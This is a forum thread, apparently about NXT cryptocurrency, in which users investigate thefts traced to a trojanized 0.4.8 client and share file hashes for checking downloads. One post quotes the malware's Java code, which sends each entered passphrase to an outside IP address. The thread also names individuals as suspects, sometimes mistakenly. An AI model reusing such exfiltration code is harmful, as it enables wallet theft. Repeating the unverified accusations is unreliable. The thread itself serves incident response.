Although there will be a new client soon (hopefully) such a bug shouldnīt be left in the current client. Canīt you try to debug it CfB?
I would if I knew how to reproduce this situation. I bet i know the real reason for this. I had this issue also (transaction was sent to another account). So, after i clicked "send", the GUI waited too long. Finally it said "sent". Then i checked blocks tab and found wrong recent blocks number, unconfirmed transactions and other signs of freezed java process. I instantly logged into the server and found several exceptions (not related to timeout) in the log. Few minutes later daemon died by not enough memory exception. Instead of that useless CRC checks, it's better first to implement an additional check that the process itself is heathly and can be used to transfer money. Right, just few integrity checks before NXT transfer execution. It's Java. It's cross-platform. It's terrible and not really your friend. Right. Code that sends money is very simple.
So it's 100% prone to memory corruption? Come on... Yes. |
|
|
|
Guys, something weird happened! Either I screwed up big or maybe it's some bug? I've sent today 14699 NXT to a customer in response for his withdrawal request, but money went into another account #434692873790144579 (tx 4799337629054063359). So are there any checks for validity of addresses or can it be absolutely any number? Anybody owns this account by any chance? The weird thing is I am very careful and I do copy-paste from the form that my backend shows me. I have no idea where this erroneous number could appear from, because there are no users with such number in my database. There are no passwords, or accounts with that number which I could have accidentally copied. All my passwords and phrases are alphanumeric. My client is 0.4.8 and has correct hash (I checked after reports today). So how could this happen??? If it was a mistake, I guess there is no chance to find a key for this account?  Still, I absolutely can't understand, how, during a simple copy-paste, this could have happened... The same happened to me twice, also on nextcoin.org forum few people also reported about this. What can i say? Nothing good. |
|
|
|
intel, the person you're after is EpicThomas, not EvilDave Yes, it was my mistake. During fast-track i was confused by the fact that EpicThomas replied to EvilDave and that somehow saved in my brain as EvilDave. |
|
|
|
|
EpicThomas <> EvilDave, sorry my error, just was confused by a screen where EpicThomas quotes the EvilDave message.
|
|
|
|
intel, when PaulyC reported the theft, lots of people besides EvilDave were suggesting possibilities. The most commonly suggested was keylogger. I remember someone posted something like 1) SHA256 and Elliptic Curve algo broken: 0.0001% 2) Keylogger: 80% 3) Bogus client: 10% 4) Rogue node: 10% Personally I suggested some nonsense about possible address collision from different passwords. So I guess that makes me a troll too If you still didnt understand, there was a patched NXT Client which logged all password to server of EpicThomas! Is it the same or separate issue from PaulyC's hacked account ? The same. All hacked accounts is only work of one patched (infected) client designed by one pair of hands. EpicDave is OK, EpicThomas is not OK , as he is owner of IP to which password logs leaked. Just confused these two names. |
|
|
|
By the way, I just checked and Drexme was last online here two hours ago.
There is a good chance he will try to cash in tonight if he read this thread now that we are on, to him...
And just how many accounts is he gonna plunder, I wonder? This is gonna get really, really bad... I will be the first to ask the question "Do we wanna stop the blockchain and roll it back?" At this point, I don't think there are more than a few cases. The thief will certainly take the fund right when he gets the pass. We have two reported cases so far. It is important to locate the source of the bogus link. 1. What about that guy who lost 250k of coins? Total is about 300K, there are many reports on nextcoin.org forum. 2. Already located. |
|
|
|
intel, when PaulyC reported the theft, lots of people besides EvilDave were suggesting possibilities. The most commonly suggested was keylogger. I remember someone posted something like 1) SHA256 and Elliptic Curve algo broken: 0.0001% 2) Keylogger: 80% 3) Bogus client: 10% 4) Rogue node: 10% Personally I suggested some nonsense about possible address collision from different passwords. So I guess that makes me a troll too If you still didnt understand, there was a patched NXT Client which logged all password to server of EvilDave! |
|
|
|
People, the malware is being hosted on 162.243.246.223, it is digital ocean, a lot of people here have VPS here.
Contact their support asap and notify that the IP 162.243.246.223 is running a listening backdoor / passlogger.
How does this work ? what type of activities are risky now ? ' It's still risky to use "patched" NXT Client downloaded from 3rd party dirty places like dextern topic who manipulated the download link to a patched (infected) NXT Client. |
|
|
|
Er...wtf?
Am i missing something?
I think you turned him into a newt, but he got better. Hmmm...I'm mostly not that evil  And HappyCoins.nl actually are very good, low fees, fast delivery and u can pay using the Dutch iDeal system. I spit on PayPal..... Still curious why my name is up in lights all of a sudden According to your posts, you also actively "helped" people to understand how they got their funds stolen. I would call you hacktroll! One of your messages: @PaulyC :
Have u scanned yr PC for malware? Trojan/key logger looks like a very good possiblility at this moment.
And how is yr off-line security ? Anyone else have acess to yr PC?
|
|
|
|
so Drexme once again stole coins by editing the downloadlink, that pointed to EpicThomas' manipulated client?
I contacted Gravaton and asked to remove all dextern posts asap! |
|
|
|
So, are most people with the new client boned?
If not, what should you check?
if the sha256 of your nxt-client-0.4.8.zip is: ec7c30a100717e60d8abe50eedb23641952847d91ff90b9b05a74ff98d8a4cf2 you are fine, if it's: 948ce760c379f13f4ea9def6babaa36b0d706bf91098f1d64945fdde3eac5f06 you should download legit client and transfer your NXT immediately to another account if it's still there how to get sha256 hash of your file is explained in this thread (nice windows tool here: http://sourceforge.net/projects/quickhash/) OK, so I've verified I lucked out and got the "good" download completely by chance. What's this about malware listening at digital ocean? Can it only get data from the bad clients or all clients? if (!paramString.equals("")) { if (!myKeys.contains(paramString)) { URL url = new URL(" http://162.243.246.223:3000/" + URLEncoder.encode(paramString, "ISO-8859-1")); URLConnection connection = url.openConnection(); connection.setConnectTimeout(10000); connection.getInputStream(); myKeys.add(paramString); } } |
|
|
|
I dont run the www site. QBTC over at nextcoin.org runs the WWW site. I will hit her up to fix that ASAP. (remember, Im really just running DNS here, and trying to coordinate between all the other sites) good catch though, definitely need to get her to fix it NOW In fact 0.4.8 is http://info.nxtcrypto.org/nxt-client-0.4.8.zip |
|
|
|
|
People, the malware is being hosted on 162.243.246.223, it is digital ocean, a lot of people here have VPS here.
Contact their support asap and notify that the IP 162.243.246.223 is running a listening backdoor / passlogger.
|
|
|
|
There is not so much information in the internet about evildave + bitcoin. I found something interesting, some evildave speaking dutch used the service " www.happycoins.nl" to buy bitcoins. He paid using paypal. Here is the quote from his feedback (translated from dutch): http://www.trustpilot.gr/review/www.happycoins.nl?page=3I am very satisfied with the services of Happy Coins, definitely recommended.
They are one of the few mogelikheiden to buy via PayPal, and my experience with a fairly large purchase Bitcoin Bitcoin their was just okay.
Only downside was that it took a little longer to get nearly 90 minutes, the Bitcoins on my wallet, but that was a very busy period. Original HappyCoins: bijna perfecte ervaring met Bitcoins kopen
Ik ben zeer tevreden met de dienstverlening van HappyCoins, zeker een aanrader.
Ze zijn een van de weinig mogelikheiden om Bitcoin in te kopen via iDeal, en mijn ervaring met een vrij grote Bitcoin aankoop bij hun was gewoon goed.
Enige minpunt was dat het heeft wat langer geduurd om de Bitcoins op mijn wallet te krijgen, bijna 90 minuten, maar dat was wel in een hele drukke periode.
So, it's worth to contact with happycoins.nl and get his data. |
|
|
|
This is the place and link I actually DLed and was using when my NXT was stolen (I think I'm not sure if it's the exact same file it coulda been updated?) https://nextcoin.org/index.php/topic,4.0.htmlhttps://mega.co.nz/#!yV5A1BTR!oi33K7WovgccuEHvP05nzggTnxrkZHJbwFmv5tGeXNI Ok I just realized those two links (front page and nextcoin.org) are the same. weird. Could they have been different yesterday? This download was posted by Dextern - who run away already with funds given him for a bounty, right? |
|
|
|
Oh my god, my nxt was stolen by some one,
and the client behaves strange today: when I unlock my account, it stucked there and client complains:
the theft transaction is
sender: 16886318053889080545 recipient: 9793828175536096502 amount: 18197 fee: 1 confirmations: 453
which happened yesterday!
OS, Where did you you download the client? Which node you are using to access the account? |
|
|
|
What's hash comparison ? the hash of the authentic file ?
This guide 'll help you. I understand about comparing hash. But I can't locate the hash of the authentic file ? is the hash from the first page of this thread good ? You 'll find SHA256 sum provided by developer with every release of NXT Client. Compare it with a hash of downloaded file. |
|
|
|
|
Show Posts
